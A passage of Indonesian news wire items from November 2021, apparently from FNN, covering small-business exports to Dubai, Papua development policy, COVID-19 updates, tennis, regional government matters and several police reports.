dengan Al Jaber Gallery, yang diharapkan mampu memperbesar pasar bagi produk UMKM. Pada tahap tersebut, lanjutnya, BNI Xpora berperan sebagai fasilitator UMKM untuk mendapat tempat istimewa di gerai terbesar UEA. Ke depan, tentunya para pelaku UMKM ini dapat mandiri bekerja sama langsung dengan Al Jaber Gallery. "Kehadiran Xpora menjadi komitmen BNI mengakselerasi UMKM naik kelas dan go global. Melalui BNI Xpora, kami yakin akan semakin banyak memfasilitasi business matching UMKM nasional ke banyak negara lain juga," ujar Royke. Pada kesempatan itu Menteri BUMN Erick Thohir mengapresiasi upaya BNI membuka akses UMKM menembus pasar global dan ia optimistis momentum kebangkitan kinerja UMKM akan lebih cepat seiring terbukanya pasar global. "Ini tentunya sangat bagus. BNI dengan program Xpora-nya mampu membuka akses pada UMKM. Di sinilah peluang pendapatan UMKM yang besar itu," sebutnya. Erick pun menyoroti produk UMKM di Dubai yang memiliki desain khas tradisional serta kualitas premium. Dia yakin BNI telah bekerja keras membimbing UMKM mencapai level tersebut. "Ini juga berkat upaya bimbingan BNI terhadap para pelaku UMKM-nya. Produknya bagus-bagus sehingga harganya pun menembus berkali-kali lipat dari harga luar negeri," imbuhnya. Lebih lanjut Erick menuturkan dukungan pemerintah belanja produk UMKM akan terus ditingkatkan, sehingga mendapat pasar tetap yang dapat dijadikan basis pendapatan untuk berkembang lebih tinggi. "Pokoknya di bawah Rp14 miliar pemerintah belanja melalui UMKM. Itu besar loh. Ingat, itu harus terdaftar melalui OSS," imbuhnya. Abdulla Jaber Belshalat mengatakan telah mengkurasi 30 produk dari BNI Xpora dan kagum melihat produk UMKM memiliki kualitas serta tingkat kerumitan yang tinggi. "Ini sangat bagus. Kualitasnya sangat bagus. Kami tentu akan mendorong pelanggan kami membeli produk Indonesia," imbuhnya. Dia berharap produk Indonesia mampu menjaga kualitas, agar permintaan pelanggan lebih tinggi. Terlebih, Al Jaber akan mulai menempatkan produk-produk UMKM ke seluruh gerainya di Dubai dan Abu Dhabi. "Ke depannya kami juga menjalin kerja sama langsung dengan pelaku UMKM Indonesia agar pengadaan barang dilakukan lebih cepat," imbuhnya. Sementara itu Founder Keewa Shoes Dani Ika Suryandari mengapresiasi langkah proaktif BNI mencari peluang pertumbuhan UMKM. Dia optimistis akan mendapat penjualan yang besar dengan masuk pasar Dubai. "Sebetulnya kami pun tak menyangka upaya BNI seagresif ini. Benar-benar tak menyangka produk kami dijual di Al Jaber Gallery yang sangat eksklusif. Pokoknya keren," katanya. Dia menuturkan Rumah Keewa sudah berjalan selama 6 tahun. Dia bersama perajin lain berupaya menciptakan produk unik tradisional berkualitas yang mampu dicintai oleh orang Indonesia, termasuk di luar negeri. "Kami tentu yakin usaha kami akan semakin lebih meningkat lagi. BNI juga terus memberi bimbingan dan aktif mengajak kami untuk banyak program pembelajaran. Kami juga diberi banyak tips terkait ekspor dan sosial media," katanya. Founder Borneo Queen Kiki Aprilia pun sangat mengapresiasi upaya BNI untuk menjual produk dari Kalimantan Tengah ini tembus ke Dubai. "Seneng banget. BNI sangat setia membina kami para pelaku UMKM. Dari awal bisnis kami selalu mendapat support sehingga mampu menembus pasar ekspor seperti saat ini. Tentu kami pun bangga," sebutnya. Dia menyampaikan usahanya kini terus menambah jumlah perajin menjawab permintaan yang terus meningkat. Kiki akan terus mempertahankan usaha dengan konsep kerajinan tangan agar keunikan produk dapat terjaga. "Memang permintaan kami itu sudah meningkat hingga 5.000-7.000 per bulan. Sebelumnya sedikit sekali. Ke depannya tentu akan naik, dan kami akan terus tambah perajin. Sekarang saja sudah perajin 1 kampung kami berdayakan," imbuhnya. (mth)

Wapres: Pembangunan Papua Harmonisasikan Kesejahteraan dan Keamanan

Jakarta, FNN - Wakil Presiden RI Ma’ruf Amin mengatakan pembangunan di Papua mengutamakan pada harmonisasi antara kesejahteraan dan keamanan sehingga percepatannya dapat terwujud. "Papua ini memang Pemerintah punya perhatian khusus. Oleh karena itu pembangunan di Papua ini harus mengharmonisasikan antara kesejahteraan dan keamanan supaya keamanan tetap kondusif," kata Wapres di sela-sela kunjungan kerjanya di Papua, Sabtu. Langkah yang dilakukan Pemerintah dalam mengharmonisasikan kedua hal tersebut, lanjut Wapres, ialah dengan menerapkan berbagai afirmasi. Pemerintah juga memberikan perlindungan kepada masyarakat di Papua dari adanya gangguan keamanan dengan berbagai tindakan terukur. "Pembanguan ini tidak akan bisa berjalan kalau keamanan tidak terkendali atau tidak kondusif. Maka, dua hal itu menjadi program terintegrasi, ini yang kami lakukan," katanya. Wapres berharap dengan keterlibatan masyarakat dan pemerintah daerah Papua dan Papua Barat tersebut, percepatan pembangunan di Tanah Papua segera terwujud. Selain itu, ketidakpuasan yang selama ini dirasakan masyarakat Papua dan Papua Barat dapat makin luntur, terutama dengan mengedepankan dialog dengan berbagai tokoh masyarakat dan tokoh agama setempat. "Ini terus kita lakukan dialog-dialog dalam rangka menghilangkan ketidakpuasan itu. Dengan ketidakpuasan itu, makin hilang. Maka, kami harapkan akan berpengaruh pada kondisi keamanan secara keseluruhan di Papua," katanya. Ketidakpuasan tersebut, kata Wapres, antara lain terkait dengan penyalahgunaan dana dari pemerintah pusat dalam implementasi pembangunan di Papua dan Papua Barat. Untuk meminimalkan penyalahgunaan tersebut, Wapres mengatakan bahwa Pemerintah telah melakukan perbaikan yang diatur dalam Undang-undang Nomor 2 Tahun 2021 tentang Otonomi Khusus bagi Provinsi Papua. "Kemungkinan terjadinya penyimpangan-penyimpangan dana, padahal kami sudah memberikan afirmasi yang kuat, dana otonomi khusus juga ditambah dari 2 persen menjadi 2,25 persen, kemudian berbagai afirmasi juga kami berikan," ujar Wapres. (mth)

Disdukcapil OKU Sumsel Cetak 27.000 Keping KTP Elektronik

Baturaja, FNN - Dinas Kependudukan dan Catatan Sipil (Disdukcapil) Kabupaten Ogan Komering Ulu, Sumatera Selatan, hingga saat ini telah mencetak sebanyak 27.000 keping kartu tanda penduduk (KTP) elektronik milik masyarakat setempat. "Hingga Oktober 2021 tercatat 27.000 keping KTP elektronik yang sudah selesai dicetak," kata Kepala Bidang Pelayanan Pendaftaran Penduduk Disdukcapil Ogan Komering Ulu (OKU) Yanizi di Baturaja, Sabtu. Ia menyebutkan puluhan ribu keping kartu identitas tersebut telah dibagikan kepada seluruh warga yang sudah melakukan perekaman data. Menurut dia, hingga saat ini dari 261.000 warga wajib ber-KTP, dan 258.000 di antaranya sudah melakukan perekaman data. Sebagian besar tinggal menunggu dicetak kartu identitasnya. "Sekitar 99,06 persen warga OKU sudah mengantongi kartu identitas diri. Artinya, tinggal sedikit lagi yang belum memiliki KTP," katanya. Untuk mencapai target tersebut, pihaknya melakukan upaya jemput bola mendatangi warga hingga ke desa-desa guna perekaman data agar dapat diproses cetak kartu identitas, termasuk juga perekaman data ke sekolah-sekolah tingkat SMA di Kabupaten OKU agar mencapai target hingga akhir Desember 2021. "Untuk stok blangko, mencukupi bahkan saat ini tersedia 6.000 keping. Jika nantinya kurang, akan diajukan penambahan sesuai dengan kebutuhan," ujarnya. (sws)

Pemerintah Kota Kupang Minta Warga Waspadai COVID-19 Gelombang Ketiga

Kupang, FNN - Pemerintah Kota Kupang, Provinsi Nusa Tenggara Timur meminta warga daerah itu untuk waspadai potensi penularan virus corona dapat menimbulkan terjadinya gelombang ketiga COVID-19. "Kita semua harus waspada terjadinya lonjakan kasus COVID-19 pada akhir tahun 2021, karena bertepatan dengan perayaan Natal dan Tahun Baru," kata Wakil Wali Kota Kupang Hermanus Man di Kupang, Sabtu. Ia menegaskan perayaan ibadah Natal dan Tahun Baru tetap diizinkan, tetapi dilakukan dengan protokol kesehatan yang ketat guna mencegah terjadinya penyebaran COVID-19. Pemerintah Kota Kupang, kata dia, tidak mengizinkan kegiatan-kegiatan yang mengumpulkan banyak orang menjelang perayaan akhir tahun ini guna menghindari peningkatan kasus COVID-19. Menurut dia, pemerintah Kota Kupang akan terus melakukan evaluasi terhadap perkembangan kasus COVID-19 di ibu kota Provinsi NTT. Apabila terjadi peningkatan kasus yang signifikan, kemungkinan kegiatan ibadah perayaan Natal di gereja ditiadakan demi kepentingan masyarakat. "Bisa saja kita tiadakan ibadah Natal di gereja, apabila dalam satu bulan ke depan kasus COVID-19 di Kota Kupang kembali meningkat," kata Hermanus Man. Ia berharap warga Kota Kupang untuk tidak kendor dalam penerapan protokol kesehatan pencegahan COVID-19 dengan tetap menggunakan masker, mencuci tangan dengan sabun, menghindari kerumunan, menjaga jarak dan membatasi mobilitas. Menurut dia, tim Satgas COVID-19 terus melakukan operasi yustisi penegakan protokol kesehatan pencegahan COVID-19 sebagai upaya menekan peningkatan kasus COVID-19. (sws)

Swiss Bertemu Rusia di Final Billie Jean King Cup

Jakarta, FNN - Belinda Bencic mengalahkan petenis Australia Ajla Tomlajonovic 6-3 6-2, Jumat waktu Praha atau Sabtu WIB untuk membantu memimpin Swiss ke final Billie Jean King Cup dan bertemu juara empat kali Rusia. Swiss mencapai final untuk pertama kalinya sejak 1998 setelah Jil Teichmann meraih kemenangan 6-0 6-3 atas Storm Sanders sebelum Bencic memberi Swiss keunggulan 2-0 yang tak terkalahkan dengan menghalahkan Tomljanovic di depan pemain hebat Amerika Billie Jean King, yang menyaksikan dari tribun. Sementara itu, ada pula adegan menggembirakan di kubu Rusia ketika Liudmila Samsonova bekerja sama dengan Veronika Kudermetova di ganda penentu untuk membantu Rusia mengalahkan petenis Amerika Serikat di semifinal. Bencic akan diandalkan untuk memimpin serangan Swiss melawan Rusia. "Ini sangat luar biasa," kata Bencic saat mencapai final, seperti dikutip Reuters. "Saya tidak berpikir kami benar-benar mengharapkannya. Kami memiliki grup terberat." "Kami sangat senang berada di final. Kami belum bisa mempercayainya," tambahnya. Di bawah format baru turnamen, 12 tim dibagi menjadi empat grup dan pemenang grup maju untuk memperebutkan gelar. Swiss, yang ingin mengangkat trofi untuk pertama kalinya, memilih petenis peringkat 39 dunia Teichmann untuk membuka pertandingan mereka setelah penampilan gandanya yang solid selama sepekan. Teichmann melaju melalui set pertama melawan Sanders, peringkat 92 tepat di bawahnya, sebelum petenis Australia itu melakukan perlawanan. Namun petenis Swiss yang kidal itu mendapatkan kembali kendalinya untuk mengamankan kemenangan. "Tim saya mengatakan kepada saya untuk bermain dan bertarung dengan semua yang Anda miliki," katanya. "Saya merasa sangat baik. Saya melakukan tembakan, saya bermain agresif." Sementara itu, pasangan Rusia Samsonova dan Kudermetova mengalahkan pasangan Amerika Shelby Rogers dan CoCo Vandeweghe 6-3 6-3 dalam pertandingan yang menentukan. Rusia, yang berusaha memenangi turnamen yang sebelumnya dikenal dengan nama Fed Cup itu untuk kelima kalinya, bersaing di Praha sebagai tim Federasi Tenis Rusia akibat sanksi larangan penggunaan bendera dan lagu kebangsaan mereka karena skandal doping. Danielle Collins sebelumnya menyamakan kedudukan untuk Amerika Serikat, pemenang 18 kali turnamen tersebut, dengan kemenangan 6-7(9) 7-6(2) 6-2 atas Anastasia Pavlyuchenkova, setelah petenis nomor 40 dunia Samsonova, yang membuat debut nomor tunggal di Billie Jean King Cup, membuat Rusia unggul dengan kemenangan 1-6 6-4 6-3 atas Sloane Stephens. "Saya sangat positif sebelum pertandingan. Saya tahu ini akan menjadi pertandingan yang sangat, sangat sulit melawan Sloane," kata Samsonova. Dia menambahkan setelah pertandingan itu, dia merasa percaya diri untuk bekerja sama lagi dengan Kudermetova jika final Sabtu waktu setempat atau Minggu WIB nanti terpaksa memainkan nomor ganda guna menentukan kemenangan. (sws)

KSP Minta Program Kemitraan Petani Indramayu Dilakukan Transparan

Jakarta, FNN - Kantor Staf Presiden (KSP) meminta skema program kemitraan pengalihan lahan petani Indramayu, Jawa Barat, menjadi tanaman tebu yang dilakukan bersama PT PG Rajawali II (RNI Group), dilakukan secara transparan. Pernyataan ini disampaikan Tenaga Ahli KSP Ngathoillah dalam rapat koordinasi antara KSP dan PT PG Rajawali II, pemda, dan kepolisian Indramayu secara daring, Sabtu. "Transparansi skema kemitraan sebaiknya disampaikan dengan bahasa yang bisa dipahami oleh petani-petani calon mitra," kata Ngathoillah dalam siaran pers KSP yang diterima di Jakarta, Sabtu. Sebelumnya, pada hari Rabu (3/11) KSP menemui puluhan petani Kecamatan Cikedung Indramayu yang berunjuk rasa di depan Istana Merdeka Jakarta. Petani menuntut PT PG Rajawali II membatalkan program kemitraan pengalihan lahan ke tanaman tebu karena dianggap merugikan, seperti yang terjadi di Majalengka. "Sosialisasi kepada Mitra Petani perlu dilakukan secara berkala bersama dengan Pemerintah Daerah, mengingat masih ada beberapa desa di Kabupaten Indramayu yang belum menjadi Mitra PT PG Rajawali II RNI Group," kata Ngathoillah. Menanggapi hal tersebut, Asisten Ekonomi dan Pembangunan Setda Indramayu Maman Kostaman menjelaskan bahwa pemda kerap melakukan sosialisasi serta edukasi kepada masyarakat lokal dan para petani tentang program kemitraan pemerintah dengan petani. "Kami selalu terbuka menerima aspirasi petani soal edukasi kemitraan dengan pemerintah," ujar Maman. Sementara itu, Direktur Utama PT RNI (Persero) Arief Prasetyo Adi mengatakan bahwa RNI sebagai calon induk BUMN pangan akan terus meningkatkan program kemitraan dengan petani tebu dengan menyinergikan antara petani, BUMDes, dan pabrik gula. "Mitra petani berperan dalam produksi tebu dan bahan baku di pabrik gula. Oleh karena itu, peningkatan kemitraan dengan petani terus dilakukan bersinergi dengan BUMDes setempat," kata Arief. Sebagai informasi, PT PG Rajawali II mengelola 12.000 hektare lahan HGU, masing-masing 6.000 hektare di Majalengka dan 6.000 hektare di Indramayu. Sejak 2018 pengelolaan lahan yang awalnya dilakukan secara swadaya berubah menjadi kemitraan dengan petani penggarap dari desa-desa penyangga. Di Majalengka program tersebut sudah berjalan dengan realisasi penanaman tebu di atas 5.000 hektare, sedangkan di Indramayu sampai saat ini masih memunculkan pro dan kontra. (sws)

Polisi Tangkap Pelaku Utama Penggelapan Ratusan Mobil di NTB

Praya, Lombok Tengah, FNN - Satuan Reserse Kriminal Polres Lombok Tengah, Nusa Tenggara Barat, meringkus seorang pemuda berinisial FD (35) warga Desa Peringgerata atas dugaan melakukan penggelapan dan penipuan ratusan mobil rental. "Pelaku utama kasus penipuan sewa gadai mobil telah kami tangkap di Kota Banjarmasin, Kalimantan Selatan. Seminggu lebih sempat menjadi buron," kata Kapolres Lombok Tengah AKBP Hery Indra Cahyono di Praya, Sabtu. Selain mengamankan pelaku, anggota juga menyita puluhan mobil berbagai jenis dan merek. Ia mengatakan bahwa pihaknya akan mengembangkan penyidikan kasus tersebut untuk mengungkapkan pihak lain yang terlibat. "Jumlah barang bukti yang disita sebanyak 41 unit terdiri atas 19 mobil pikap dan 22 mobil pribadi serta uang Rp20 juta dari pelaku," katanya didampingi Kasatreskrim Iptu Redho Rizki saat pers rilis pengungkapan kasus sewa-gadai mobil di Polres Lombok Tengah. Dalam melaksanakan aksinya, lanjut dia, pelaku mengatasnamakan proyek pembangunan Sirkuit Mandalika untuk event World Superbike dan proyek Jalan Bypass Bandara Lombok. Dikatakan pula kepada para korbannya bahwa mobil yang disewa itu akan dimasukkan dalam proyek Sirkuit dan Jalan Bypass Bandara. "Itu hanya modus belaka. Akan tetapi, faktanya mobil itu digelapkan oleh pelaku dengan cara digadai kepada orang lain. Korbannya cukup banyak sekitar 100 orang, baik itu di Lombok Tengah maupun Mataram," katanya. Kapolres juga mengimbau masyarakat untuk tetap mewaspadai berbagai macam aksi penipuan, serta jangan mudah percaya dan harus mengecek fakta di lapangan. Kasatreskrim Polres Lombok Tengah Iptu Redho Rizki Pratama menambahkan bahwa penangkapan pelaku setelah pihaknya menerima laporan dari salah satu korban atas nama Rupawan (36) warga Kopang. Korban melaporkan ke polisi karena mobil yang disewa pelaku tersebut tidak kunjung dikembalikan setelah lewat batas waktu sesuai dengan perjanjian. Selanjutnya, polisi melakukan penyelidikan dan berhasil menangkap pelaku di tempat persembunyian, salah satu penginapan di Kota Banjarmasin. Penangkapan ini dibantu oleh anggota Polda NTB dan Polda Kalimantan Selatan. Dari hasil pemeriksaan, pelaku mengakui perbuatannya dan telah menggelapkan mobil yang disewa dari para korban tersebut. Untuk menyakinkan korban, pelaku memberikan sewa per bulan sebesar Rp4 juta sampai Rp7 Juta. "Mobil yang disewa itu kemudian digadaikan dengan harga yang bervariasi Rp35 juta sampai Rp50 juta," katanya. Sejauh ini, kata dia, pelaku melakukan perbuatannya sendiri. Namun, kemungkinan barang bukti yang akan disita akan bertambah karena pengakuan pelaku mobil yang digelapkan sekitar 100 unit. Pelaku mengaku belajar menipu dari YouTube. Uang hasil gadai, dipakai untuk tutup lubang gali lubang biaya sewa mobil serta untuk kebutuhan hidup. "Atas perbuatannya, pelaku dijerat Pasal 378 KUHP," katanya. (sws)

Partai Demokrat Sebut Hoaks Keluarga AHY Berwisata Saat SBY Sakit

Jakarta, FNN - Kepala Badan Komunikasi Strategis/Koordinator Juru Bicara DPP Partai Demokrat Herzaky Mahendra Putra memberikan klarifikasi terkait unggahan warganet tentang keluarga Agus Harimurti Yudhoyono (AHY) berwisata di saat SBY sakit kanker sebagai hoaks. "Itu jelas hoaks, foto lama banget, lebih dari tiga tahun lalu, karena Aira masih kecil banget. Sekarang kan Aira sudah beda tipis tingginya dengan Mbak Annisa," ujar Herzaky dalam keterangan tertulis yang diterima di Jakarta, Sabtu. Pernyataan ini dirilis setelah seorang warganet dengan akun Twitter menamakan diri sebagai Netizen NKRI mengunggah postingan foto keluarga AHY berswafoto di sebuah kota di luar negeri. Terkait unggahan tersebut, Herzaki menyebut bahwa unggahan warganet tersebut adalah fitnah terhadap keluarga Presiden Keenam RI Susilo Bambang Yudhoyono (SBY). "Mengaku Netizen NKRI, tapi menyebar fitnah terhadap keluarga Presiden ke-6 Republik Indonesia yang sedang mengidap kanker. Sangat tidak punya empati dan tidak punya moral," tulis Herzaky. Terkait tindak lanjut dari unggahan tersebut, Herzaky mengatakan pihak keluarga memilih fokus untuk pengobatan SBY terlebih dahulu. "Sementara kami fokus dengan pengobatan Bapak SBY dulu. Ini yang menjadi prioritas utama keluarga," kata Herzaky. Adapun unggahan yang ditulis oleh Nila Murti Tanjung melalui akun Twittter @nila_mrt "Ini bukan contoh yg baik bagi kita. Kita rakyat se Indonesia mendoakan Bapak mantan yg sedang mengidap cancer prostat berobat ke Amerika, yg ini ikut rombongan, bukannya prihatin la kok malah di manfaatkan utk berwisata sambil selfie-selfiean. Mentang2 di beayai negara," tulis akun tersebut. Unggahan tersebut juga menyematkan foto AHY beserta istri dan anaknya yang sedang berswafoto dengan latar pemadangan salah satu kota di luar negeri. Dari hasil penelusuran jejak digital melalui akun Instagram Annisa Yudhoyono, bahwa foto tersebut merupakan foto lama yang diunggah pada 21 Maret 2018. (sws)

Pasien COVID-19 Sembuh di Babel Bertambah 10 Jadi 50.486 Jiwa

Pangkalpinang, FNN - Satgas Penanganan COVID-19 Provinsi Kepulauan Bangka Belitung menyatakan pasien COVID-19 sembuh bertambah 10 orang, sehingga total orang sembuh dari virus corona itu menjadi 50.486 jiwa. "Penambahan 10 orang sembuh dari virus ini, maka pasien COVID-19 yang masih menjalani isolasi berkurang menjadi 134 orang," kata Sekretaris Satgas Penanganan COVID-19 Provinsi Kepulauan Babel Mikron Antariksa di Pangkalpinang, Sabtu. Ia menjelaskan 10 orang pasien sembuh dari COVID-19 dengan kumulatif 50.486 orang tersebar di Bangka Tengah tiga orang dengan kumulatif 6.383 orang, Belitung dua orang dengan kumulatif 7.492 orang, Belitung Timur dua orang dengan kumulatif 5.162 orang. Selanjutnya pasien sembuh dari COVID-19 di Kota Pangkalpinang bertambah dua orang dengan kumulatif 13.273 orang, Bangka bertambah satu orang dengan kumulatif 9.417 orang, kumulatif pasien sembuh di Bangka Barat 5.427 orang, Bangka Selatan dengan kumulatif 3.332 orang. "Tingkat kesembuhan pasien dari COVID-19 mencapai 96,96 persen dan ini terus ditingkatkan melalui kampanye penerapan protokol kesehatan dan kegiatan vaksinasi COVID-19," katanya. Ia mengatakan kasus orang terpapar COVID-19 juga bertambah 14 orang dengan kumulatif 52.068 jiwa tersebar di Pangkalpinang tujuh orang, Bangka Tengah tiga orang, Belitung Timur tiga orang dan Belitung satu orang. "Hari ini Kabupaten Bangka, Bangka Barat dan Bangka Selatan tidak ada penambahan kasus orang terpapar virus corona," katanya. Menurut dia dalam mengantisipasi lonjakan kasus harian COVID-19 gelombang ke-3, Babel elah membentuk pos pengamanan terpadu di pelabuhan dan bandara. "Kita bersama TNI/Polri dan otoritas penyelenggara transportasi umum membentuk posko pengamanan terpadu," katanya. (sws)

Pupuk Kaltim Hadirkan Produk Berkualitas SNI

Jakarta, FNN - PT Pupuk Kalimantan Timur (Pupuk Kaltim) berpartisipasi dalam ajang Indonesia Quality Expo (IQE) ke-9 yang digelar Badan Standardisasi Nasional (BSN) dengan menampilkan beragam produk perusahaan, antara lain urea Daun Buah, NPK Pelangi, produk pupuk hayati seperti Ecofert, Biodex Biotara, Bio Salin, BioLK, dan produk-produk riset. “Implementasi SNI menjadi fokus utama Pupuk Kaltim dalam menghadirkan produk berkualitas yang secara bertahap diikuti seluruh inovasi di lingkungan perusahaan, baik bersifat pelayanan maupun pengembangan digitalisasi berbasis Industri 4.0,” kata Ketua Tim IQE PKT MHN Hidayat di Bandung, Jawa Barat, dalam keterangan tertulis, Sabtu. Selain itu Pupuk Kaltim memamerkan inovasi Remotely Operated Vehicle (ROV), aplikasi Distribution Planning and Control System (DPCS), Jasa Pelayanan Pabrik, Product Knowledge Management, serta produk inovasi lainnya. Tak hanya produk perusahaan, Pupuk Kaltim sebagai anak perusahaan holding BUMN Pupuk Indonesia juga melibatkan mitra binaan dalam IQE Ke-9 Tahun 2021, mulai dari produk batik, kerajinan tangan khas Kaltim, hingga produk herbal hasil olahan Rumah Tanaman Obat Keluarga (Toga) yang juga didorong untuk menghadirkan produk berkualitas sesuai SNI. Seluruh produk yang dihasilkan Pupuk Kaltim terus didorong untuk terstandarisasi SNI secara berkelanjutan. “Termasuk dengan produk mitra binaan, juga difasilitasi untuk mendapatkan Sertifikat Produk Penggunaan Tanda SNI (SPPT SNI), agar produk yang dihasilkan memiliki jaminan mutu dan kualitas kepada konsumen,” ujar Hidayat. Beberapa tahun terakhir hasil inovasi hingga produk riset didaftarkan Pupuk Kalyim untuk mendapatkan SNI yang beberapa di antaranya telah tersertifikasi. Begitu juga dorongan penggunaan SPPT SNI bagi UKM binaan, lanjutnya, merupakan kesinambungan langkah Pupuk Kaltim untuk pemulihan ekonomi masyarakat terdampak COVID-19 sekaligus upaya meningkatkan daya saing produk lokal untuk menembus pasar nasional maupun global. Sejauh ini ada 4 UKM binaan Pupuk Kaltim yang mendapatkan SPPT SNI dari BSN, yaitu Batik Beras Basah, Batik Kuntul Perak, Amplang Barokah, dan Abon Jaya Mandiri. Adapun beberapa unit usaha binaan lainnya dinyatakan sedang dalam proses verifikasi Lembaga Sertifikasi Produk (LSPro) untuk mendapatkan sertifikasi serupa. Hidayat mengharapkan agar IQE mampu mendorong seluruh iklim usaha maupun pelayanan di berbagai bidang terstandarisasi SNI sebagai jaminan mutu dan kualitas untuk memberikan kepuasan kepada konsumen. “Pupuk Kaltim berkomitmen untuk terus menerapkan SNI di setiap produk yang dihasilkan, termasuk hasil mitra binaan perusahaan maupun inovasi lainnya, sehingga ke depan, aktivitas bisnis perusahaan ditopang dengan baik oleh seluruh bidang yang terstandar SNI,” ucap dia. (mth)

Pemkot Depok Usulkan Empat Rancangan Peraturan Daerah

Depok, FNN - Pemerintah Kota (Pemkot) Depok, Jawa Barat, menyampaikan usulan empat Rancangan Peraturan Daerah (Raperda) yang disampaikan kepada legislatif dalam rapat paripurna DPRD. Wali Kota Depok Mohammad Idris dalam keterangannya, Sabtu mengatakan saat ini ada tiga Raperda yang telah masuk dalam Program Pembentukan Peraturan Daerah (Propemperda) Kota Depok Tahun 202, yaitu, Raperda Kota Depok tentang Penyelenggaraan Kota Religius dan Raperda Kota Depok tentang Protokol Kesehatan dalam Pengendalian Pandemi. Selanjutnya, Raperda Kota Depok tentang Penyertaan Modal Melalui Penambahan Kepemilikan Modal Saham Pemerintah Kota Depok pada PT. Bank Pembangunan Daerah Jawa Barat dan Banten, Tbk. "Untuk satu Raperda di luar Program Pembentukan Peraturan Daerah Kota Depok Tahun 2021, yakni Raperda Kota Depok tentang Retribusi Persetujuan Bangunan Gedung," tuturnya. Menurut Mohammad Idris, terkait usulan pembentukan Raperda tentang Penyelenggaraan Kota Religius, telah selaras dengan Dokumen Rencana Pembangunan Jangka Panjang Daerah (RPJPD) Kota Depok Tahun 2006-2025. Raperda ini dimaksudkan untuk mewujudkan visi Religius dalam bentuk penguatan peranan Pemkot Depok dalam upaya menumbuhkembangkan kehidupan beragama, melalui peningkatan kualitas pendidikan keagamaan, kesejahteraan pemangku kepentingan keagamaan, peningkatan kualitas sarana, dan prasarana ibadah. "Raperda ini diharapkan dapat menjawab berbagai permasalahan sosial yang terjadi di masyarakat melalui pendekatan penguatan nilai-nilai religius di masyarakat berdasarkan prinsip-prinsip toleransi dan kebhinekaan," ujarnya. (sws)

Polisi Aceh Tangkap Pria Pemerkosa Adik Ipar Saat Istri Melahirkan

Banda Aceh, FNN - Personel Unit Perlindungan Perempuan dan Anak (PPA) Satreskrim Polresta Banda Aceh menangkap seorang pria MAN (40) atas dugaan pemerkosaan adik ipar yang masih di bawah umur, dilakukan saat istrinya sedang melahirkan. "Pelaku warga Banda Aceh itu diduga melakukan pemerkosaan dan pelecehan seksual terhadap adik iparnya yang masih di bawah umur," kata Kasat Reskrim Polresta Banda Aceh AKP M Ryan Citra Yudha, di Banda Aceh, Jumat. AKP Ryan mengatakan, kejadian pemerkosaan dan pelecehan seksual tersebut pada saat istri pelaku baru saja melahirkan. Ketika itu korban masih berusia 10 tahun (2019). Ryan menyampaikan, peristiwa itu terjadi ketika korban diminta kakaknya untuk beristirahat di kamarnya. Sementara itu kakak korban bersama pelaku (suaminya) tidur di ruang tamu. Namun, menjelang dini hari korban mencium aroma rokok di kamar tempatnya tidur. Pelaku kemudian memerkosa korban. “Korban merasa terancam takut dianiaya saat pelaku melakukan perbuatannya,” ujarnya. Menurut Ryan, peristiwa itu terjadi sejak Maret 2019 hingga akhirnya baru diketahui orangtua korban (mertua pelaku) pada Februari 2021, dan telah dilakukan sebanyak tiga kali. Namun kasus ini awalnya hanya ditangani oleh perangkat gampong (desa). "Dalam mediasi, tidak ditemukan musyawarah mufakat, sehingga keluarga korban melaporkan ke Polresta Banda Aceh untuk dilakukan pengusutan lebih lanjut," kata Ryan. Menindaklanjuti laporan polisi nomor LPB/65/V/YAN.2.5/2021/ SPKT/Polresta Banda Aceh/Polda Aceh, Unit PPA Satreskrim Polresta Banda Aceh melakukan koordinasi dengan P2TP2A Banda Aceh dalam kasus yang menimpa korban. “Pihak P2TP2A Banda Aceh merespons baik untuk mendampingi korban melaporkan perbuatan yang dilakukan oleh pelaku MAN, sehingga kami bersama-sama harus ekstra kerja dalam mengungkap kasus yang menimpa korban,” demikian Ryan. Terkait dengan tindak pidana pemerkosaan dan pelecehan seksual terhadap anak di bawah umur, pelaku akan dijerat dengan Pasal 50 Qanun Aceh Nomor 6 Tahun 2014 tentang Hukum Jinayat. Kini pelaku mendekam disel tahanan Polresta Banda Aceh. (sws)

DPR Uji Kelayakan Calon Panglima TNI Andika Perkasa Hari Ini

Jakarta, FNN - Komisi I DPR RI menggelar tes uji kelayakan dan kepatutan (fit and proper test) terhadap Jenderal TNI Andika Perkasa sebagai calon Panglima TNI pada Sabtu mulai pukul 10.00 WIB. "Uji kelayakan dan kepatutan Jenderal TNI Andika Perkasa sebagai calon Panglima TNI oleh Komisi I DPR RI Sabtu, 6 November 2021 pukul 10.00 WIB," seperti dikutip dari akun Twitter resmi DPR RI @DPR_RI, Sabtu. Melalui akun Twitter @DPR_RI juga diinformasikan bahwa uji kelayakan dan kepatutan terhadap Jenderal Andika disiarkan langsung di akun resmi media sosial DPR RI, yakni Facebook, YouTube, Twitter, dan Instagram. Sebelumnya, Ketua Komisi I DPR RI Meutya Hafid menyatakan bahwa verifikasi administrasi dokumen yang disampaikan calon Panglima TNI Jenderal Andika Perkasa telah lengkap. "Pimpinan Komisi I DPR dan Kapoksi pada hari Jumat (5/11) pukul 14.00 WIB telah melakukan verifikasi dokumen terhadap calon Panglima TNI atas nama Andika Perkasa, dan menyatakan telah lengkap untuk dokumennya," kata Meutya dalam keterangan tertulisnya di Jakarta, Jumat (5/11). Dokumen yang telah dinyatakan lengkap tersebut adalah data riwayat hidup, nomor pokok wajib pajak (NPWP), kartu tanda penduduk (KTP), kartu keluarga, Laporan Harta Kekayaan Penyelenggara Negara (LHKPN), surat pemberitahuan tahunan (SPT), dan surat keterangan bersih diri/sehat (SKBD). Menurut dia, dalam dokumen tersebut menyebutkan Jenderal Andika memiliki satu istri dan duaanak, serta telah melaporkan LHKPN pada bulan Juni 2021. Setelah verifikasi tersebut dinyatakan lengkap, proses uji kelayakan akan dilanjutkan pendalaman dengan menggelar rapat dengar pendapat umum (RDPU) dengan calon Panglima TNI pada hari Sabtu (6/11) pukul 10.00 WIB. Setelah itu, kata dia, verifikasi faktual direncanakan setelah RDPU pada hari Minggu (7/11). (sws)

Pertamina Gunakan Transportasi Air Distribusi Elpiji di Daerah Banjir

